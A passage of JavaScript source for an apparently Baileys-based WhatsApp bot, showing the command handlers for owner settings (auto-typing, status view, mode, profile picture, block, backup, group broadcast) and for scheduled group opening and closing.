if (args.length < 1) return replygcxeon(`Example ${prefix + command} on/off`)
if (q === 'on') {
autoTyping = true
replygcxeon(`Successfully changed auto-typing to ${q}`)
} else if (q === 'off') {
autoTyping = false
replygcxeon(`Successfully changed auto-typing to ${q}`)
}
break
case 'autorecording':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon(`Example ${prefix + command} on/off`)
if (q === 'on') {
autoRecording = true
replygcxeon(`Successfully changed auto-recording to ${q}`)
} else if (q === 'off') {
autoRecording = false
replygcxeon(`Successfully changed auto-recording to ${q}`)
}
break
case 'autorecordtyp':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon(`Example ${prefix + command} on/off`)
if (q === 'on') {
autorecordtype = true
replygcxeon(`Successfully changed auto recording and typing to ${q}`)
} else if (q === 'off') {
autorecordtype = false
replygcxeon(`Successfully changed auto recording and typing to ${q}`)
}
break
case 'autoswview':
case 'autostatusview':{
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon('on/off?')
if (args[0] === 'on') {
autoswview = true
replygcxeon(`${command} is enabled`)
} else if (args[0] === 'off') {
autoswview = false
replygcxeon(`${command} is disabled`)
}
}
break
case 'autobio':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon(`Example ${prefix + command} on/off`)
if (q == 'on') {
autobio = true
replygcxeon(`Successfully Changed AutoBio To ${q}`)
} else if (q == 'off') {
autobio = false
replygcxeon(`Successfully Changed AutoBio To ${q}`)
}
break
case 'mode':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon(`Example ${prefix + command} public/self`)
if (q == 'public') {
XeonBotInc.public = true
replygcxeon(mess.done)
} else if (q == 'self') {
XeonBotInc.public = false
replygcxeon(mess.done)
}
break
case 'setexif':
if (!isCreator) return replygcxeon(mess.owner)
if (!text) return replygcxeon(`Example : ${prefix + command} packname|author`)
global.packname = text.split("|")[0]
global.author = text.split("|")[1]
replygcxeon(`Exif successfully changed to\n\n• Packname : ${global.packname}\n• Author : ${global.author}`)
break
case 'setpp':
case 'setpp':
case 'setppbot':
if (!isCreator) return replygcxeon(mess.owner)
if (!quoted) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`)
if (!/image/.test(mime)) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`)
if (/webp/.test(mime)) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`)
var medis = await XeonBotInc.downloadAndSaveMediaMessage(quoted, 'ppbot.jpeg')
if (args[0] == 'full') {
var {
img
} = await generateProfilePicture(medis)
await XeonBotInc.query({
tag: 'iq',
attrs: {
to: botNumber,
type: 'set',
xmlns: 'w:profile:picture'
},
content: [{
tag: 'picture',
attrs: {
type: 'image'
},
content: img
}]
})
fs.unlinkSync(medis)
replygcxeon(mess.done)
} else {
var memeg = await XeonBotInc.updateProfilePicture(botNumber, {
url: medis
})
fs.unlinkSync(medis)
replygcxeon(mess.done)
}
break
case 'block':
if (!isCreator) return replygcxeon(mess.owner)
let blockw = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '') + '@s.whatsapp.net'
await XeonBotInc.updateBlockStatus(blockw, 'block').then((res) => replygcxeon(json(res))).catch((err) => replygcxeon(json(err)))
break
case 'unblock':
if (!isCreator) return replygcxeon(mess.owner)
let blockww = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '') + '@s.whatsapp.net'
await XeonBotInc.updateBlockStatus(blockww, 'unblock').then((res) => replygcxeon(json(res))).catch((err) => replygcxeon(json(err)))
break
case 'leave':
if (!isCreator) return replygcxeon(mess.owner)
if (!m.isGroup) return replygcxeon(mess.group)
replygcxeon('Bye Everyone 🥺')
await XeonBotInc.groupLeave(m.chat)
break
case 'backup':
if (!isCreator) return replygcxeon(mess.owner)
if (m.isGroup) return replygcxeon(mess.private)
replygcxeon(mess.wait)
exec('zip backup.zip *')
let malas = await fs.readFileSync('./backup.zip')
await XeonBotInc.sendMessage(m.chat, {
document: malas,
mimetype: 'application/zip',
fileName: 'backup.zip'
}, {
quoted: m
})
break
case 'bcgc':
case 'bcgroup': {
if (!isCreator) return replygcxeon(mess.owner)
if (!text) return replygcxeon(`Which text?\n\nExample : ${prefix + command} It's holiday tomorrow `)
let getGroups = await XeonBotInc.groupFetchAllParticipating()
let groups = Object.entries(getGroups).slice(0).map(entry => entry[1])
let anu = groups.map(v => v.id)
replygcxeon(`Send Broadcast To ${anu.length} Group Chat, End Time ${anu.length * 1.5} second`)
for (let i of anu) {
await sleep(1500)
let a = '```' + `\n\n${text}\n\n` + '```' + '\n\n\nʙʀᴏᴀᴅᴄᴀsᴛ'
XeonBotInc.sendMessage(i, {
text: a,
contextInfo: {
externalAdReply: {
showAdAttribution: true,
title: 'Broadcast By Owner',
body: `Sent ${i.length} Group`,
thumbnailUrl: 'https://telegra.ph/file/c02035e9c30f7b6da1b29.jpg',
sourceUrl: global.link,
mediaType: 1,
renderLargerThumbnail: true
}
}
})
}
replygcxeon(`Successfully Sent Broadcast To ${anu.length} Group`)
}
break
case 'getcase':
if (!isCreator) return replygcxeon(mess.owner)
const getCase = (cases) => {
return "case" + `'${cases}'` + fs.readFileSync("XeonBug3.js").toString().split('case \'' + cases + '\'')[1].split("break")[0] + "break"
}
replygcxeon(`${getCase(q)}`)
break
case 'delete':
case 'del': {
if (!isCreator) return replygcxeon(mess.done)
if (!m.quoted) throw false
let {
chat,
fromMe,
id,
isBaileys
} = m.quoted
if (!isBaileys) return replygcxeon('The message was not sent by a bot!')
XeonBotInc.sendMessage(m.chat, {
delete: {
remoteJid: m.chat,
fromMe: true,
id: m.quoted.id,
participant: m.quoted.sender
}
})
}
break
case 'closetime':
if (!m.isGroup) return replygcxeon(mess.group)
if (!isAdmins && !isCreator) return replygcxeon(mess.admin)
if (!isBotAdmins) return replygcxeon(mess.botAdmin)
if (args[1] == 'detik') {
var timer = args[0] * `1000`
} else if (args[1] == 'menit') {
var timer = args[0] * `60000`
} else if (args[1] == 'jam') {
var timer = args[0] * `3600000`
} else if (args[1] == 'hari') {
var timer = args[0] * `86400000`
} else {
return replygcxeon('*Choose:*\nsecond\nminute\nhour\nday\n\n*Example*\n10 second')
}
replygcxeon(`Close time ${q} starting from now`)
setTimeout(() => {
var nomor = m.participant
const close = `*Closed* group closed by admin\nnow only admin can send messages`
XeonBotInc.groupSettingUpdate(m.chat, 'announcement')
replygcxeon(close)
}, timer)
break
case 'opentime':
if (!m.isGroup) return replygcxeon(mess.group)
if (!isAdmins && !isCreator) return replygcxeon(mess.admin)
if (!isBotAdmins) return replygcxeon(mess.botAdmin)
if (args[1] == 'second') {
var timer = args[0] * `1000`
} else if (args[1] == 'minute') {
var timer = args[0] * `60000`
} else if (args[1] == 'hour') {
var timer = args[0] * `3600000`
} else if (args[1] == 'day') {
var timer = args[0] * `86400000`
} else {
return replygcxeon('*Choose:*\nsecond\nminute\nhour\nday\n\n*Example*\n10 second')
}
replygcxeon(`Open time ${q} starting from now`)
setTimeout(() => {
var nomor = m.participant
const open = `*Opened* The group is opened by admin\nNow members can send messages`
XeonBotInc.groupSettingUpdate(m.chat, 'not_announcement')
replygcxeon(open)